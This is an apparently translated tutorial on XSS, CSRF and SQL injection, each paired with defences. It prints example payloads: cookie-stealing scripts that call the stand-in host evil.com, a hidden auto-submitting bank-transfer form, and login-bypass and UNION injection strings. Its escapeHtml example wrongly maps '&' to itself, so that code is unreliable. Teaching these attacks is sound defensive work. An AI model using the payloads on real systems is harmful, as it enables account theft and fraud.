1. Reflected XSS#

The server echoes request parameters back to the page as-is, without escaping. A typical scenario is a search box:

1
<!-- Server-side template, directly echoes the q parameter -->
2
<div>Search results:<?php echo $_GET['q']; ?></div>

The attacker constructs a link like this and sends it to the victim:

1
https://example.com/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

After the user clicks it, the script executes under the origin of example.com, directly reading and exfiltrating the Cookie. Because it’s “request → immediate echo,” it’s called reflected.

2. Stored XSS#

The malicious script is persisted to the database, and afterward every user who visits that page falls victim. A typical scenario is a message board or comment section:

1
// Assume the comment section stores user input directly in the database and outputs it as-is when rendering
2
function renderComment(comment) {
3
  // Dangerous! comment.text may contain a <script> tag
4
  return `<div class="comment">${comment.text}</div>`;
5
}

The attacker posts a “comment” whose content is <script>document.location='https://evil.com/?c='+document.cookie</script>, and afterward everyone who browses that comment section will have the script executed. Stored XSS is far more harmful than reflected XSS, because it doesn’t require “phishing” users one by one—a single comment can penetrate all visitors.

3. DOM-based XSS#

This type of vulnerability doesn’t go through the server; it happens purely on the browser side—JavaScript writes untrusted data into innerHTML, document.write, or eval:

1
// Read from the URL hash and render directly, dangerous
2
const user = location.hash.slice(1);
3
document.getElementById('welcome').innerHTML = `Welcome, ${user}`;

Visiting https://example.com/#<img src=x onerror=alert(1)> triggers the script. DOM-based XSS is particularly stealthy because it bypasses the server-side WAF—the malicious data never leaves the browser.

Defending Against XSS#

The core of defending against XSS is “escape by context”, and trying to ensure that data never becomes executable code:

1
// 1. When outputting to HTML text, escape key characters
2
function escapeHtml(str) {
3
  return str
4
    .replace(/&/g, '&')
5
    .replace(/</g, '&lt;')
6
    .replace(/>/g, '&gt;')
7
    .replace(/"/g, '&quot;')
8
    .replace(/'/g, '&#39;');
9
}
10

11
// 2. Modern frameworks (React/Vue) escape text interpolation by default, but dangerous APIs still exist
12
//    Don't do this:
13
element.innerHTML = userInput;
14
//   Instead use textContent, which treats it as plain text only:
15
element.textContent = userInput;

Plus two layers of defense in depth:

• CSP (Content Security Policy): Restrict script sources via HTTP response headers, so that even if injected, scripts can’t run.

1
Content-Security-Policy: default-src 'self'; script-src 'self'

• Use whitelist filtering for rich text scenarios: If users must be allowed to submit HTML (such as Markdown rendering), use a whitelist sanitization library like DOMPurify, rather than writing your own blacklist regex.

Attack Principle#

Suppose the bank transfer endpoint looks like this:

1
POST https://bank.com/transfer
2
body: { to: 'attacker', amount: 10000 }

As long as the user is logged in to bank.com (Cookie is valid), the attacker places an auto-submitting form on their own website:

1
<!-- A page hosted on evil.com, automatically submits as soon as the user visits it -->
2
<form action="https://bank.com/transfer" method="POST" style="display:none">
3
  <input name="to" value="attacker">
4
  <input name="amount" value="10000">
5
</form>
6
<script>document.forms[0].submit();</script>

When the user visits evil.com, the browser includes the Cookie for bank.com and sends a POST to bank.com—to the server, this is a “legitimate request from a logged-in user.” The essence of CSRF is: the browser cannot distinguish whether a request was actively initiated by the user or “smuggled in” by a third-party page.

Defending Against CSRF#

Modern defenses mainly rely on three lines, which can be used in combination:

1
// 1. CSRF Token: the server generates a random token, and the frontend carries it with every request
2
// The attacker cannot read this token (same-origin policy), so they cannot forge the request
3
// Server side (pseudocode):
4
app.get('/form', (req, res) => {
5
  const token = crypto.randomBytes(32).toString('hex');
6
  req.session.csrfToken = token;
7
  res.render('form', { csrfToken: token });
8
});
9
app.post('/transfer', (req, res) => {
10
  if (req.body.csrfToken !== req.session.csrfToken) {
11
    return res.status(403).send('Invalid CSRF token');
12
  }
13
  // Only execute the transfer after validation passes
14
});
15

16
// 2. SameSite Cookie: restricts cookies to being sent only on same-site requests
17
// Set-Cookie: sessionId=abc; SameSite=Lax  (or Strict)

SameSite=Lax allows “top-level navigation” to carry Cookies (such as clicking into a website from search results), but blocks cross-site POST forms and fetch from carrying them, with almost no impact on normal usage—making it the least effort-intensive line of defense. Combined with validating the Origin/Referer headers, it can basically cover the vast majority of CSRF scenarios.

Attack Principle#

The following code concatenates the username directly into the query:

1
// Dangerous! Directly concatenating user input
2
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
3
db.query(query);

If the attacker enters the following in the username field:

1
' OR '1'='1' --

The concatenated SQL becomes:

1
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = ''

The content after -- is treated as a comment, OR '1'='1' is always true, so the attacker can log in to any account without a password. A more severe variant is union queries and stacked queries, which can directly read out an entire table:

1
' UNION SELECT username, password FROM users --

Defending Against SQL Injection#

There is an iron rule for defending against SQL injection: never concatenate user input into SQL; always use parameterized queries (prepared statements).

1
// Correct: parameterized queries, user input is always treated as "data" rather than "code"
2
const stmt = db.prepare(
3
  'SELECT * FROM users WHERE username = ? AND password = ?'
4
);
5
stmt.run(username, password);

The principle of parameterized queries is: the structure of the SQL statement is first parsed and compiled by the database, and parameters are merely “filled” into placeholders—no matter what is written in the parameters, it’s impossible to change the syntactic structure of the SQL. For scenarios that cannot be parameterized (such as dynamically specifying column names or sort fields), use whitelist validation rather than escaping.

1
// Dynamic sort field: only allow column names within the whitelist
2
const ALLOWED_COLUMNS = ['id', 'created_at', 'score'];
3
const orderBy = ALLOWED_COLUMNS.includes(req.query.sort)
4
  ? req.query.sort
5
  : 'id';